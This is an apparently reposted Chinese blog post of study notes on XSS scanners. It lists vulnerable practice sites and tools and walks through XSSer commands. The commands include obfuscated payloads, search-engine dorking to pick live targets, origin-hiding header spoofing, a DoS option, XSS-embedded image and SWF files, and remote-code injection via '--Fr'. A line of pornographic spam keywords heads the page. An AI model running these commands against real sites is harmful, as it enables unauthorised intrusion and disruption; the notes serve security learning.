日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

XSS扫描系统原理

發布時間:2023/12/31 windows 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS扫描系统原理 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

那個broken web application 后續會慢慢研究的。。。先把工作任務完成。。

工作任務1:搜索類似演示網站

http://code.google.com/p/websecurify/wiki/DemoSites

工作任務2:檢索XSS自動化掃描工具,開源,了解檢測原理

=================================================================

(一 )工作任務1:搜索類似演示網站

示例網站:http://code.google.com/p/websecurify/wiki/DemoSites

Details

The following websites may be used to compare Websecurify with other automated web application security testing tools:

  • http://demo.testfire.net
  • http://testphp.vulnweb.com
  • http://testasp.vulnweb.com
  • http://testaspnet.vulnweb.com
  • http://zero.webappsecurity.com
  • http://crackme.cenzic.com
  • http://www.webscantest.com
Google檢索到“豬在笑”總結的這些演示網站

S.No. Vulnerable Application Platform Remark
1 SPI Dynamics (live) ASP 漏掃廠商的缺陷demo站點,想學習還是可以玩的。有新花樣最好本地玩吧,除非你是活雷鋒。
2 Cenzic (live) PHP 同1
3 Watchfire (live) ASPX 同1
4 Acunetix 1 (live) PHP 同1
5 Acunetix 2 (live) ASP 同1
6 Acunetix 3 (live) ASP.Net 同1
7 PCTechtips Challenge (live) online hack challenge, just for fun
8 Damn Vulnerable Web Application PHP/MySQL 有提供Live CD版,適合懶人
9 Mutillidae PHP 針對OWASP的Top 10名單設置針對性的缺陷供你耍,必須推薦
10 The Butterfly Security Project PHP ?
11 Hacme Casino Ruby on Rails Hacme系列is copyright by McAfee, but toooooooooooold! take it as you will and at your own risk.
12 Hacme Bank 2.0 ASP.NET (2.0) 同上,不解釋。
13 Updated HackmeBank ASP.NET (2.0) 鏈接失效?我沒用過。
14 Hacme Books J2EE 還是Hacme。。。
15 Hacme Travel C++ (application client-server) 又是Hacme。。。不過這個是C++的,比較少見。也許有價值,我沒用過
16 Hacme Shipping ColdFusion MX 7, MySQL ColdFusion平臺的,有針對性的可以搭建一下試試,我沒用過
17 OWASP WebGoat JAVA 適合教學
18 OWASP Vicnum PHP, Perl ?
19 OWASP InsecureWebApp JAVA ?
20 OWASP SiteGenerator ASP.NET ?
21 Moth ?
22 Stanford SecuriBench JAVA ?
23 SecuriBench Micro JAVA ?
24 BadStore Perl(CGI) ?
25 WebMaven/Buggy Bank?(very old) ? ?
26 EnigmaGroup?(live) ? ?
27 XSS Encoding Skillsx5s (Casaba Watcher) ? Fiddler的擴展,輔助XSS漏洞挖掘(多種字符編碼轉換支持)
28 Google Gruyere(live) (previously Jarlsberg) ? 可以在線玩,GAE supported. So, if you are in CH1N4, you may need?a VPN or proxy?to access it.
29 Exploit- DB Multi-platform 最真實的Web App漏洞資料庫,totally damn real!看上哪個,直接官網下載對應缺陷版本,本地想怎么玩就怎么玩。
30 exploit-kb-vulnerable-web-app PHP/MySQL 文檔清晰,易部署,有Vmware Image版,適合懶人

“豬在笑”推薦幾個手工的輔助工具,個人感覺挺好~

Tool Category Remark Similar
paros HTTP代理/HTTP協議調試/spider 最新開源版3.2.13更新于2006年,后續版本已經完全商業化。但工具的易用性、功能在今天來看都是值得推薦的。支持HTTP協議雙向數據查看/修改/過濾是其亮點。 burp proxy?,Fiddler,?live http headers (Firefox addon),Firebug (Many browsers’ addon)
HackBar 手工SQL注入輔助 方便轉碼、編碼、填充垃圾字符,繞過濾必備
TamperData HTTP請求參數控制 攔截HTTP/HTTPS請求,允許手工修改HTTP請求參數(GET參數、POST字段、cookie等)后再提交
Groundspeed 客戶端安全措施半自動化解除 自動檢測隱藏表單字段、去除表單驗證等,免去自己通過Firebug修改html代碼的麻煩
BuiltWith (Chrome擴展) 網站架構自動分析 自動檢測和識別當前瀏覽網站所采用的技術架構,腳本小子的最愛

Google 檢索到一份整理好的滲透測試學習資源列表

by?http://www.pulog.org/Resources/2242/Pentesting-Vulnerable/

Web Pentesting

Application Name Company/Developer URL
OWASP WebGoat OWASP http://www.owasp.org/index.php/OWASP_WebGoat_Project
OWASP Vicnum OWASP http://www.owasp.org/index.php/Category:OWASP_Vicnum_Project
OWASP InsecureWebApp OWASP http://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project
Web Security DOJO Maven Security Consulting http://www.mavensecurity.com/web_security_dojo/
Gruyere (antigo Codelab / Jalsberg) Google http://google-gruyere.appspot.com/
Hacme Game NTNU http://hacmegame.org/
SPI Dynamics SPI Dynamics http://zero.webappsecurity.com/
Acunetix 1 Acunetix http://testphp.vulnweb.com/
Acunetix 2 Acunetix http://testasp.vulnweb.com/
Acunetix 3 Acunetix http://testaspnet.vulnweb.com/
PCTechtips Challenge PC Tech Tips http://pctechtips.org/hacker-challenge-pwn3d-the-login-form/
Damn Vulnerable Web Application DVWA http://dvwa.co.uk/
Mutillidae Iron Geek http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10
The Butterfly Security Project The Butterfly Security http://sourceforge.net/projects/thebutterflytmp/
Hacme Casino McAfee http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
Hacme Bank 2.0 McAfee http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
Updated HackmeBank McAfee http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
Hacme Books McAfee http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
Hacme Travel McAfee http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx
Hacme Shipping McAfee http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
Moth Bonsai Sec http://www.bonsai-sec.com/en/research/moth.php
Stanford SecuriBench Standford http://suif.stanford.edu/%7Elivshits/securibench/
SecuriBench Micro Standford http://suif.stanford.edu/%7Elivshits/work/securibench-micro/
BadStore BadStore http://www.badstore.net/
WebMaven/Buggy Bank Maven Security http://www.mavensecurity.com/webmaven
EnigmaGroup Enigma Group http://enigmagroup.org/
XSS Encoding Skills – x5s (Casaba Watcher) X5S http://www.nottrusted.com/x5s/
Exploit- DB Exploit DB http://www.exploit-db.com/webapps
The Bodgeit Store The Bodgeit Store http://code.google.com/p/bodgeit/
LampSecurity MadIrish http://sourceforge.net/projects/lampsecurity/
hackxor Hackxor http://hackxor.sourceforge.net/cgi-bin/index.pl
WackoPicko WackoPicko

https://github.com/adamdoupe/WackoPicko

RSnake’s Vulnerability Lab RSnake http://ha.ckers.org/weird/

?

War Games

Application Name Company / Developer URL
Hell Bound Hackers Hell Bound Hackers http://hellboundhackers.org/
Vulnerability Assessment Kevin Orrey http://www.vulnerabilityassessment.co.uk/
Smash the Stack Smash the Stack http://www.smashthestack.org/
Over?the Wire Over the?Wire http://www.overthewire.org/wargames/
Hack This Site Hack This Site http://www.hackthissite.org/
Hacking Lab Hacking Lab https://www.hacking-lab.com/
We Chall We Chall https://www.wechall.net/
REMnux REMnux http://zeltser.com/remnux/

?

Insecure Distributions

Application Name Company / Developer URL
Damm Vulnerable Linux DVL http://www.damnvulnerablelinux.org/
Metasploitable Offensive Security http://blog.metasploit.com/2010/05/introducing-metasploitable.html
de-ICE Hacker Junkie http://www.de-ice.net/
Moth Bonsai SecuritySoftware http://www.bonsai-sec.com/en/research/moth.php
PwnOS Niel Dickson http://www.neildickson.com/os/
Holynix Pynstrom http://pynstrom.net/holynix.php

(二)工作任務2:XSS自動化掃描器系統原理

1.Google到一個關于xss的掃描器,sourceforge的xsser,以下是它的簡介:
Cross Site "Scripter" is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
大概就是說它是個自動掃描利用漏洞并且報告之的東東,和我要找的符合。 下載地址:http://sourceforge.net/projects/xsser/files/latest/download 源碼checkout地址:svn://svn.code.sf.net/p/xsser/code 這個是XSSer的用法:http://blog.csdn.net/xihuanqiqi/article/details/8072323
2.Google把自己的內部審計XSS的工具開源了?ratproxy
?Google 推出一套免費的 Web 安全評估工具,叫做 RatProxy,這套工具可以檢測、分析您的網站是否有安全性漏洞或網頁是否有被入侵,目前可支援 Linux, FreeBSD, MacOS X, 與 Windows (Cygwin) 等執行環境(反正就是 Unix-like 的環境啦)。
RatProxy 可偵測到的漏洞包括 Cross-site Scripting (XSS, 跨網站指令碼)、指令碼惡意置入(script inclusion issues), 惡意網頁內容(content serving problems), insufficient XSRF 以及 XSS 防護(XSS defenses) 等。
ratproxy地址:http://code.google.com/p/ratproxy/#ratproxy
以下是Google到的Ratproxy用法: Ratproxy 工作流程:
  • 1) 運行腳本后,會在本地啟動一個代理服務器,默認端口是 8080 ;
  • 2) 瀏覽器設置這個地址 ([url]http://localhost:8080[/url])為 代理地址 ;
  • 3) 瀏覽要測試的 Web 頁面,進行實際登錄,填寫表單等操作(這些動作會被代理服務器捕捉并做點"手腳"發給待檢測的頁面),ratproxy 會在后臺記錄相關的 Log ;
  • 4) 用 ratproxy 提供的工具解析 Log 并輸出?<acronym title="HyperText" markup="" language "="" style="padding: 0px; margin: 0px; ">HTML?進行分析;
  • 5) 修正比較嚴重的問題后,跳回到第一步,直到評估通過為止。
在我的 Ubuntu 下測試了一下,需要說一下的是,本地系統需要安裝 libssl-dev 與 openssl 。
$ sudo apt-get install libssl-dev openssl
$ cd ratproxy ; make
然后就可以提交類似: $ ./ratproxy -v . -w foo.log -d foo.com -lfscm
3.Google到?XSSDetect?是一款微軟公司為開發人員提供針對跨站腳本攻擊的靜態分析工具

XSSDetect是精簡版的.NET代碼分析工具,原本供微軟內部人員尋找應用軟件的安全漏洞之用,大概是受開源思想影響,現在已經可以免費下載了。
下載地址:http://tel1.hackol.com/2010/hackol.com-4910-XSSDetectSetup.rar 下完就能傻瓜化安裝了 這是XSSDetect的用法:

Sample Usage

  • Launch Visual Studio
  • Open a solution containing at least on C#, J# or VB.NET project
  • Build the solution
  • Click on Tools | XSSDetect Code Analysis, the Summary View dockable tool window activates
  • Verify/edit the current settings (click on General Settings, Rules or Target Assemblies on the toolbar of the Summary View)
  • Start the code analysis (use the Analyze button on the toolbar)
  • After the analysis is complete, the Summary View tool window shows the results, and the output window shows information and error messages
  • Double click on a result item in the Summary View to activate the Detail View
  • In the Detail View, double click on a dataflow item to display the corresponding source line
  • Use the "Previous" and "Next" buttons in the Detail View to display other result items?
  • 看到這個Launch Visual Studio就知道這個要用VS啦,挺麻煩的說。。。 看了下資料,發現這個XSSer的資料多一些,還是中文版的,就研究它了。

    (三)研究XSSer系統運行原理

    1.先在虛擬機上安裝好相關軟件如Ihttp://xsser.sourceforge.net/所說的: Installation

    XSSer runs on many platforms. It requires Python and the following libraries:


    - python-pycurl - Python bindings to libcurl
    - python-beautifulsoup - error-tolerant HTML parser for Python
    - python-libxml2 - Python bindings for the GNOME XML library
    - python-geoip - Python bindings for the GeoIP IP-to-country resolver library


    On Debian-based systems (ex: Ubuntu), run:


    sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip?


    Ps:如果有些安裝不了,那是因為有些軟件包需要升級。具體怎么升級可以看看: Ubuntu 更新源 源地址和相關操作

    Ubuntu apt-get 詳解

    ?

    Ps:如果你下載了XSSer的包,里面有個 /doc/INSTALL,別看了,里面的信息太老了,竟然要用到Python-xml,哎。


    2.熟悉用法,看看:??

    XSSer(超強XSS攻擊利器)使用說明中文版?



    VMware安裝虛擬機Ubuntu的時候,安裝完畢后是命令行模式,得重啟后才能進入圖形界面。

    =======================================================================

    XSSer 安裝與測試

    教程入口:http://xsser.sourceforge.net/

    1. Installation 安裝python相關組件

    XSSer runs on many platforms. It requires Python and the following libraries:

    - python-pycurl - Python bindings to libcurl
    - python-beautifulsoup - error-tolerant HTML parser for Python
    - python-libxml2 - Python bindings for the GNOME XML library
    - python-geoip - Python bindings for the GeoIP IP-to-country resolver library


    在Ubuntu下用這個指令就能夠安裝后所有的要用到python模塊:
    [plain]?view plaincopy
  • sudo?apt-get?install?python-pycurl?python-beautifulsoup?python-libxml2?python-geoip???

  • 2.下載XSSer相應的包并且安裝

    下載地址:http://sourceforge.net/projects/xsser/files/xsser_1.6-1.tar.gz/download

    下載后用以下指令:

    安裝:

    [plain]?view plaincopy
  • tar?xzvf?xsser-1.6_all.deb.tar.gz??
  • sudo?dpkg?-i?xsser-1.6_all.deb??

  • 以GTK模式(也就是圖形化模式運行)(GTK mode):
    [plain]?view plaincopy
  • xsser?--gtk?--silent???

  • Ps:當然你也可以SVN check out 源代碼: [plain]?view plaincopy
  • $?svn?co?https://xsser.svn.sourceforge.net/svnroot/xsser?xsser???

  • 3.XSSer語法的掌握 (官網寫的是 python xsser.py -u "http://www.baidu.com",我用的xsser -u "http://www.baidu.com",都行)

    (1)最簡單的注入

    [plain]?view plaincopy
  • xsser?-u?"http://www.baidu.com"??

  • (2)從文件中讀取URL,帶有代理和HTTP REFERER的注入

    [plain]?view plaincopy
  • xsser?-i?url.txt??--proxy?"http://127.0.0.1:8118"?--referer?666.666.666.666??
  • Ps:HTTP Referer是HTTP header的一部分,瀏覽器向web服務器發送請求的時候,一般會用到referer,以便告訴web服務器我是從哪個頁面過來的,方便web服務器統計。而我們加個--referer 666.666.666.666,實際上是不想被web服務器發現我們從哪里來。其實它應該被寫成HTTP Refferer,但是寫錯的人多了,寫標準的貨也就將就用HTTP Referer啦。。

    (3)使用Cem(Character Encoding Mutations 字符編碼基因突變),使用user-agent,設置超時時間,設置線程數

    [plain]?view plaincopy
  • xsser?-u?"http://www.baidu.com"?--auto?--Cem?"Hex,Str,Hex"?--user-agent?"XSSer!!"?--timeout?"20"?--threads?"5"??
  • Ps1:Cem就是先用Hex編碼,再轉為Str編碼,然后再轉為Hex編碼!

    (first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding)

    Ps2:user-agent 也就是用戶代理,這個域放置了一些信息如OS版本,CPU類型,瀏覽器版本,瀏覽器渲染引擎,瀏覽器語言,瀏覽器語言等,可以被web服務器獲取,這里我們不想被web服務器獲取,所以就設置了下“XSSer!!!”就好啦~~


    (4)從文件讀取(-i "urls.txt"),裝載自己的代碼(--payload ' ' ),并且用JS中的Unescape()函數解碼(--Une)

    [plain]?view plaincopy
  • xsser?-i?"urls.txt"?--payload?'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);'?--Une??
  • Ps:a+b+c+d得到字符串"getURL("javascript:alert('XSS')")" ,這個函數式Flash的常用函數,用來打開一個鏈接,無論是遠程還是本地,只有滿足一下兩個條件,才能用這種形式的代碼: [plain]?view plaincopy
  • getURL("javascript:someFunction()")??
  • 1)頁面有Flash player 8 以及更高版本中
    2)SWF文件或者包含該文件的web頁面被包含在本地受信任的沙箱中
    滿足上述條件就能夠用:

    [plain]?view plaincopy
  • --payload?'eval(getURL("javascript:alert('XSS!!!')"))'??
  • 思考1:為什么要分成abcd四個部分呢!?然后再合起來?

    思考2:--Une為什么要用到這里?Unescape()函數對escape()函數編碼過后的字符串進行解碼,如果字符串不是編碼后的字符串,則會把字符串原封不動的返回。也就是說,字符串被瀏覽器編碼后送到web服務器嗎?escape()一般用于腳本向某個頁面如a.php這個URL傳遞參數時編碼,可是我用的是XSSer,它在傳遞參數的時候會編碼嗎?

    這兩個問題等我以后深入了解再回來回答。


    (5)指定引擎并且從引擎的返回結果作為target URL--XSSer Storm

    [plain]?view plaincopy
  • xsser?--De?"duck"?-d?"search.php?"??
  • Ps1: duckduckgo是一個網站,搞搜索引擎的 "duck"。

    Ps2: ?-d DORK ? ? ? 把搜索結果作為攻擊的目標URL ( Process search engine dork results as target urls)
    Ps3: ?--De=DORK_ENGINE ?指定用到的引擎 for dorking 有這么多:(bing, altavista,?yahoo, baidu, yandex, youdao, webcrawler, google, etc.)
    ? ? ? ? ? ? ? ? ? ??

    (6)指定抓取URL的深度和數量

    ? ? --Cw=CRAWLER_WIDTH ?Deeping level of crawler: 1-5
    ? ? --Cl ? ? ? ? ? ? ? ?Crawl only local target(s) urls (default TRUE)

    [plain]?view plaincopy
  • xsser?-c?3?--Cw=4?-u?"http://www.baidu.com"??

  • (7)Post數據(Simple injection from URL, using POST, with statistics results)

    [plain]?view plaincopy
  • xsser?-u?"http://host.com"?-p?"index.php?target=search&subtarget=top&searchstring="?-s??
  • Ps :-s, --statistics ? ? ?show advanced statistics output results
    思考:這個-s到底有什么用呢?統計數據?Post數據一般就是把數據封裝到表單中然后發到web服務器請求。

    回答:這個-s其實和post沒關系,就是把數據給統計了:

    ===========================================================================
    [*] Statistic:
    ===========================================================================
    --------------------------------------------------
    Test Time Duration: ?0:00:05.929196
    --------------------------------------------------
    Total Connections: 2
    -------------------------
    200-OK: 1 | 404: 0 | 503: 0 | Others: 1
    Connec: 50 %
    --------------------------------------------------
    Total Payloads: 1
    -------------------------
    Checker: 0 | Manual: 0 | Auto: 1 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
    --------------------------------------------------
    Total Injections: 1
    -------------------------
    Failed: 1 | Sucessfull: 0
    Accur : 0 %
    -------------------------
    Total Discovered: 0
    -------------------------
    Checker: 0 | Manual: 0 | Auto: 0 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
    --------------------------------------------------
    False positives: 0 | Vulnerables: 0
    -------------------------
    Mana: 0
    --------------------------------------------------
    [I] Could not find any vulnerability!. Try another combination or hack it -manually- :)


    ===========================================================================

    (8)Get請求 八進制編碼(--Doo) 結果以簡短URL形式(--short tinyurl)

    [plain]?view plaincopy
  • xsser?-u?"http://host.com"?-g?"bs/?q="?--auto?--Doo?--short?tinyurl???
  • 思考:至今還是不知道Get請求和Post請求這些參數如 "bs/?q="要怎么設定的嗎?我個人認為如果不知道網站的源代碼,根本不知道參數怎么填?那么這個XSSer的參數是猜測的嗎?


    (9)Shadow DOM XSS攻擊,跨站Cookie注入,最終代碼FinalRemote(--Fr)

    [plain]?view plaincopy
  • xsser?-u?"http://host.com"?-g?"bs/?q="?--Coo?--Dom?--Fr="!enter?your?final?injection?code?here!"??
  • Ps1:? ? --Coo ? ? ? 跨站Cookie注入 ? ? ? ?COO - Cross Site Scripting Cookie injection?

    Ps2:DOM XSS 攻擊原理

    Ps3:DOM shadow space (no server logging!) 這個DOM陰影空間貌似在哪里聽過?可是就是找不到相關資料。。。終于google到了這篇文章,它講的是Shadow DOM

    什么是Shadow Dom?可能會給你帶來點幫助。。。


    (10) Dos(拒絕服務攻擊) ? 網址壓縮is.gd

    [plain]?view plaincopy
  • xsser?-u?"http://host.com"?-g?"bs/?q="?--Dos?--short?"is.gd"??
  • Ps:根據官方介紹,Is.gd 至今已處理了近 900 萬個網址。首頁非常簡潔,輸入需要壓縮的網址提交即可。生成縮略網址后系統會計算壓縮前后的字符串長度,并給出壓縮率。
    如果想要讓用戶預覽網頁,而不是直接發送縮略網址(有助于用戶了解所鏈接到的網址,防止被釣魚),只需在縮略網址后添加連接字符 “-” 來開啟網頁預覽功能。
    例如,芒果的網址?http://www.mangguo.org?經過壓縮后為?http://is.gd/Aqdn,網頁預覽地址為?http://is.gd/Aqdn-。
    注意:縮略網址 URL 中字母區分大小寫。

    XSSer結果會多了這么一行:

    [plain]?view plaincopy
  • [/]?Shortered?URL?(Injection):?http://is.gd/eAxg3x??

  • (11) 在這些地方注入參數變量:?HTTP USer-Agent,HTTP Referer , ?Cookie parameters

    [plain]?view plaincopy
  • xsser?-i?"list_of_url_targets.txt"?--auto?--timeout?"20"?--threads?"5"?--delay?"10"?--Xsa?--Xsr?--Coo?--proxy?"http://127.0.0.1:8118"?--Doo?-s?--verbose?--Dos?--short?"tinyurl"??
  • Ps1: ? --Xsa ? ? ? ? ? ? ? XSA - Cross Site Agent Scripting

    Ps2: ? --Xsr ? ? ? ? ? ? ? XSR - Cross Site Referer Scripting


    (12)? 創建一個假的XSS代碼嵌入圖像(create a false image with XSS code embedded)

    [plain]?view plaincopy
  • xsser?--imx?"test.png"?--payload?"!enter?your?malicious?injection?code?here!"???
  • 思考:至今還是不會在這個惡意代碼里面寫點東西,到底要寫什么好呢? 回答:這個 <script>alert('XSS');</script>可以嗎?結果成功~ [plain]?view plaincopy
  • xsser?--imx?"test.jpg"?--payload?"<script>alert('XSS')</script>"??

  • (13)把積極的結果輸出到指定的XML文件中(Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file).

    [plain]?view plaincopy
  • xsser?-d?"login.php"?--De?"ask"?--xml?"security_report_XSSer_Dork_cuil.xml"???
  • Ps: --xml 指定一個XML文件,用來存放輸出的”積極“結果,我猜測這個”積極“就是可能能夠注入的結果URL 結果一打開xml文件,發現還真的是和我的猜想一致!我真的是神意識啊!~~

    (14)把我們的掃描結果上傳到某些網站上(twitter)這個功能真的是有愛啊~,不吐槽了。。

    [plain]?view plaincopy
  • xsser?-d?"login.php"?--De?"duck"?--tweet??
  • 示例網站: -http://identi.ca/xsserbot01?
    -http://twitter.com/xsserbot01

    (15)創建一個swf電影注入XSS代碼(Create a .swf movie with XSS code injected)

    這個和那個圖片的嵌入惡意代碼差不多 [plain]?view plaincopy
  • xsser?--fla?"name_of_file.swf"?--payload?"<script>alert('XSS!!!');</script>"??

  • (16)?發送一個hash值,預先看看目標URL是否重復全部內容(send an unique hash, without vectors, to pre-check if?target(s) repeats all content recieved)

    [plain]?view plaincopy
  • xsser?-u?"http://www.baidu.com"?--hash??
  • 結果是: [plain]?view plaincopy
  • Checker:?looks?like?your?target(s)?does?not?repeat?all?received?code.??
  • Ps:這句話很好懂哦: send an unique hash, without vectors, to pre-check if?target(s) repeats all content recieved
    思考:這個hash它是怎么去pre-check呢?如果要確認是否重復,首先我的有這個網頁的URL的hash,然后我發給它,那么這個hash哪里來呢?難道是有文件存儲著?第一次的話沒有hash怎么辦?
    回答:不懂~真心不懂~等以后的我深入了解了再研究吧~

    (17) Data Control Protocal(DCP) 數據控制協議 注入,這個好偏門的感覺

    [plain]?view plaincopy
  • xsser?-u?"host.com"?--auto?--Dcp?--Fp?"enter_your_code_here"?--short?"is.gd"??



  • (18)META標簽中的Base64編碼(RFC2397),也是很偏門的感覺

    [plain]?view plaincopy
  • xsser?-u?"host.com"?-g?"vulnerable_path"?--payload?"valid_vector_injected"?--B64??
  • 這個Base64編碼: [plain]?view plaincopy
  • --B64???????????????B64????-?Base64?code?encoding?in?META?tag?(rfc2397)??

  • (19)啟動瀏覽器,結束時發現的每個XSS(launch a browser at the end with each XSS discovered)

    [plain]?view plaincopy
  • xsser?-u?"host.com"?-g?"vulnerable_path"?--auto?--Fr?"my_host/path/code.js"?--launch??
  • 思考:都越來越不知道什么意思了。。。 直接貼英文吧: [plain]?view plaincopy
  • Exploiting?our?"own"?-remote?code-?in?a?payload?discovered?using?fuzzing?and?launch?it?in?a?browser?directly??


  • 總結

    以上是生活随笔為你收集整理的XSS扫描系统原理的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。